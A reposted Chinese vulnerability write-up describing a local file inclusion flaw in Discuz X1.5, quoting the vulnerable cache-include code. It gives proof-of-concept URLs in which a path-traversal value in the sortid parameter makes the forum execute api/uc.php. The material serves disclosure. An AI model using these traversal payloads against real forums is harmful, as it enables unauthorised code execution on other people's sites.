首页 > 系统服务 > 详细

DISCUZ X1.5 本地文件包含漏洞说明

时间:2016-02-08 12:29:30      阅读:121      评论:0      收藏:0      [点我收藏+]
config_global.php

复制代码
代码如下:

  $_config[‘cache‘][‘type‘] = ‘file’;
  function cachedata($cachenames) {
  ……
  $isfilecache = getglobal(‘config/cache/type’) == ‘file’;
  ……
  if($isfilecache) {
  $lostcaches = array();
  foreach($cachenames as $cachename) {
  if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {
  $lostcaches[] = $cachename;
  }
  }
  ……
  }

  地址:
  http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
  http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried
  执行了 api/uc.php 页面代码了。
  作者: Jannock

DISCUZ X1.5 本地文件包含漏洞说明

原文:http://www.jb51.net/hack/34716.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!